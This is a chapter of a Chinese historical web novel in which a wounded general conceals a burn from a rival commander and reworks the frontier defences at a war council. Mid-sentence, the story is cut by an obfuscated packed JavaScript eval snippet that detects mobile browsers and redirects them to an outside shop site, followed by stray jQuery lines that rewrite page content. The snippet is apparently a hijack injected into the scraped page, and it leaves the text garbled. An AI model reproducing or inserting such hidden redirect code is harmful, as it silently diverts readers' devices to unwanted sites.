原地只剩下霍抉，与一名留下护卫的亲兵。夜风更冷，牵动伤处，一阵尖锐的刺痛让他几不可察地蹙了下眉。


    “将军……”，亲兵担忧上前。


    霍抉抬手止住他的话。他最后望了一眼矿坑方向那片仍未熄灭的暗红天际，又看了一眼薛轻羽等人消失的路径。


    没有了那些‘黑火’，东琅自然也没了攻城的能力，危机解除。


    “回高都。”


    话音落，他已提气纵身，几个起落便掠出数丈。身形依旧矫捷，玄色身影在崎岖山道与城垣阴影间疾行，如同归巢的夜鹰，悄无声息地划破黎明前最浓重的黑暗，疾驰而去。


    拂晓将至，他必须在幽禾觉察更多异样之前，回到驿馆。


    驿馆后院的窄屋内，只点了一盏烛火。


    霍抉背对着门，褪下半边焦糊的衣衫。狰狞的灼伤暴露在昏黄的光线下，从左肩胛斜贯至臂肘，皮肉翻卷，边缘焦黑，与周遭完好的皮肤形成刺目对比，渗出的组织液混着血水，缓缓淌下。


    青木正端着一盆刚打来的井水和一碗捣烂的草药，他死死捏住碗沿，指节泛白，目光胶着在那片伤痕上，长长吸了一口气才挤出声音：“将军……这伤，还是得寻个大夫来瞧瞧。”


    “不行。”霍抉打断他，声音因强忍剧痛而低沉沙哑，每个字都像是从紧咬的牙关中迸出，“我的伤不能让任何人知道，要尽快回京才行。”


    他额际不断渗出细密的冷汗，顺着紧绷的下颌线滑落，滴在身下陈旧的地板上。后背的肌肉因疼痛而微微痉挛。


    青木的眼圈瞬间红了。他放下碗，拧了凉水帕子，手却抖得厉害，不敢轻易触碰那恐怖的伤口。“可……可是将军，这伤太重……”


    “用你备的金疮药和凉膏，”霍抉吸着气，语气不容置疑，“简单处理，动作快点。”


    青木的手止不住地颤抖，用了将近一个时辰，才勉强将那狰狞的灼伤清理、上药、用干净的细棉布包裹妥当。每一寸触碰都让霍抉背肌紧绷，冷汗早已浸透里衣，他却只从喉间溢出几声极低的闷哼。


    “将军，好了……”，青木声音发哽，看着那被包扎得仍显突兀的后背轮廓。


    霍抉取过一件玄色的广袖罗袍穿在身上，玄色很好，外人轻易看不出。


    “霍将军可醒了？我有要事相商。”于幽禾语气急切，但依旧有着武将的粗豪响亮，身后还伴随着不止一人的沉重脚步声，由远及近，径直走了进来！


    霍抉猛地抬头，眼中疲态尽褪，瞬间灌满凌厉的警惕，他递给青木一个无声却明确的眼神。


    青木会意，强定心神，快步抢出房门，正好在檐下迎住已到院中的于幽禾一行。


    “于将军，”青木躬身，“我们到厅里稍候，将军马上就好。”


    于幽禾大手一摆，脸上堆满焦虑，脚步停在院中，“东琅大军异动，军情如火，下官不敢自专，还望将军见谅。”他刻意加重了将军二字，目光却殷切地望向房内。


    霍抉低垂的眼睫下，眸光倏然一冷。


    异动？昨夜矿坑火光冲天，消息定然传到东琅大营，激起报复性的劫掠与佯攻，再正常不过，薛轻羽已密令其在梓州至八陉一线的关键隘口暗中布置，监视东琅动向。至今未有预警信号传来，说明局面尚在预料与掌控之中。


    “原来如此，”他嗓音沙哑，甚至低低地咳了两声，“军情要紧。于将军稍候，容霍某略作整理便来。”


    “青木，”霍抉低低的唤了一声。


    青木高高的应着，旋即朝着于幽禾行了礼转身回到屋内。


    霍抉压低了声，“传令薛轻羽，不必与东琅大军纠缠，只远远盯着，只要不劫掠村镇，放他们离开便好。”


    “是”，青木凛然应命，悄无声息地从后窗掠出。


    屋内只剩霍抉一人，他缓缓起身取过一件墨绿的斗篷，披在身上，这一动，背后那灼伤被狠狠牵扯，剧痛如钢针扎入骨髓，让他眉心几不可察地骤然一蹙，额角瞬间渗出细密的冷汗。


    他深吸一口气，稳住身形，又将斗篷披在肩上，墨绿的绒料衬得他面容愈发苍白，仿佛秋霜打过后的残荷。


    霍抉微微垂首，以拳抵唇闷咳两声，再抬眼时面上倦色如薄雾般笼着，唇色浅淡，透出几分病气后的苍白。


    他的目光落在眼前的于幽禾身上，眼底平静，思绪却掠过层层叠叠的旧日烟尘。


    这还是他来到八陉第一次见到于幽禾，在他来的前一天于幽禾也正好外出巡防，还真是——巧的很。


    这于幽禾看上去是个粗犷的莽夫，实则心思深沉，不然也不会一路从小兵到了一关守将，皇上亲封“嘉勇将军”。


    “于将军见谅，”他声音带着病后的暗哑，“昨夜偶感风寒，倒是让于将军久候了。”


    于幽禾见状，忙上前半步，脸上堆起既关切又歉然的神色：“霍将军这是哪里话！原是下官扰了将军休养，心中已是惶恐。将军抱恙在身，实该好生将息才是！只是这军情如火……”他搓了搓手，语气恳切中透着为难，“下官愚钝，不敢自专，这才不得不来烦扰将军定夺。万望将军保重贵体啊！”


    他一面说着，一面作势欲扶，目光却在霍抉苍白的脸和那件裹得严严实实的墨绿斗篷上飞快扫过。


    霍抉微微侧身，不着痕迹地避开了于幽禾的手，只略一颔首：“分内之事，何谈烦扰。”此时，青木恰端着药碗稳步走来。


    霍抉接过药碗，仰首饮尽，随后将空碗递回，动作流畅自然。苦涩的药气在空气中短暂弥漫。他抬袖拭了拭唇角，再看向于幽禾时，脸上勉强扯出一丝极淡的、带着病容的笑：“军情耽搁不得。于将军，请。”


    “霍将军请！”于幽禾连声应着，腰身又弯下去几分，态度恭谨非常，却坚持侧身让出道路，执意请霍抉先行。


    于幽禾脸上那敬重的神情，做的倒是十足。


    二人一前一后步出驿馆。晨光熹微，照在霍抉墨绿的斗篷上，那颜色沉得像化不开的深潭。他步履平稳，与平日无异，唯有贴近了方能察觉，那挺直的脊背其实绷得极紧，仿佛一根拉到极致的弓弦。


    军营大帐内，炭火烧得正旺，驱散了晨间的寒意，却也烘得帐内空气略显滞闷。


    霍抉眼底的寒光闪烁，还是解下斗篷，交给青木，内里那件玄色的广袖罗袍更衬得他面色有些透明般的白，他走到沙盘前，目光沉静地扫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187127|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过八陉关隘与周边山川地势，听于幽禾及几位副将禀报东琅今日频繁的小股袭扰。


    “依末将看，东琅此番怕是要有大动作，”一名络腮胡副将指着沙盘上一处谷地道，“昨夜他们前哨已探至黑石谷，距我们不足三十里。”


    霍抉未立即接话，只伸手从沙盘旁拈起几枚代表兵力的黑色小旗，沉吟着在几处关键隘口缓缓插落，他的目光却是沉沉的掠过梓州城外那片村落田畴的微缩地形。


    看着于幽禾的布防，重兵尽屯于关隘险要，防线如同一条紧绷的弦，死死勒在八陉咽喉，却将关外梓州广阔的田野村舍全然置于不顾。一旦烽火燃起，铁蹄踏破的，首先便是那片土地上毫无遮蔽的黎庶。


    “于将军，”霍抉忽然开口，声音不高略显沙哑，“是否曾虑及，将梓州百姓先行内迁安置？”


    于幽禾身形微顿，眼角肌肉细微的跳了两下，他转过身，脸上堆起凝重与无奈交织的复杂神色，“霍将军体恤百姓，下官岂能不知？梓州是我大晋疆土，百姓皆是我大晋子民，末将镇守于此，日夜悬心，又何尝不痛？”他叹了口气，指向关内方向，“只是将军明鉴，关内仓廪本就不裕，骤然涌入数万流民，钱粮从何而来？此其一。再者……”


    他趋近两步，压低声音，言辞恳切却透出冷硬的现实考量：“梓州多年兵祸拉锯，户籍紊乱，人丁混杂。东琅细作常扮作流民混入，防不胜防。若开关纳民，万一有奸细趁乱潜入，八陉雄关一旦有失，后果不堪设想。末将身负守土之责，不敢以关隘安危为赌注……只能，先全大局。”


    霍抉静默听着，面色无波。他知道于幽禾所言非虚，句句皆是守将的艰难权衡。乱世之中，慈不掌兵，有时冰冷的抉择背后，是更残酷的生存法则。


    霍抉垂眸望着沙盘上那片象征梓州的、毫无屏障的微缩土地，眼底掠过一丝极深沉的暗影。


    他又将几面黑色的小旗做了微微调整，“于蒋军布防严谨，无需变动，只是——，”


    指尖稳定，动作不疾不徐，仿佛背后那灼人的伤痛并不存在。唯有离得最近的于幽禾，偶尔能瞥见他额角渗出又迅速被揩去的细汗，以及那在厚重衣料下，因某些幅度稍大的动作而几不可察的瞬间僵硬。


    “你看此处。”他指尖点向沙盘上一条隐蔽的山径，“若东琅真欲强攻，此路虽险，却可出奇兵。需加派一队精悍，日夜监视，并在谷口预设伏击。”


    “将军明鉴！”于幽禾抚掌，眼底掠过一丝佩服，随即又蹙眉，“只是如此一来，正面守军兵力恐被牵制……”


    “无妨。”霍抉取过代表己方的红色小旗，从容补上几处，“中军大营前压五里，作出增援姿态，虚张声势。另，关隘两侧增设疑兵，多竖旗帜，夜间加派篝火。东琅生性多疑，见我军阵势严整，虚实难辨，攻势必缓。”


    他三言两语，已将防御调整得更为立体机动。几位副将听得频频点头，方才的焦虑稍缓。于幽禾更是连连称是，正欲下令安排细节——


    “报——！”


    帐外骤然传来一声急促长喝，一名哨探几乎是连滚爬入，单膝跪地，气息未匀便急声道：


    “禀将军！东琅大军……退了！”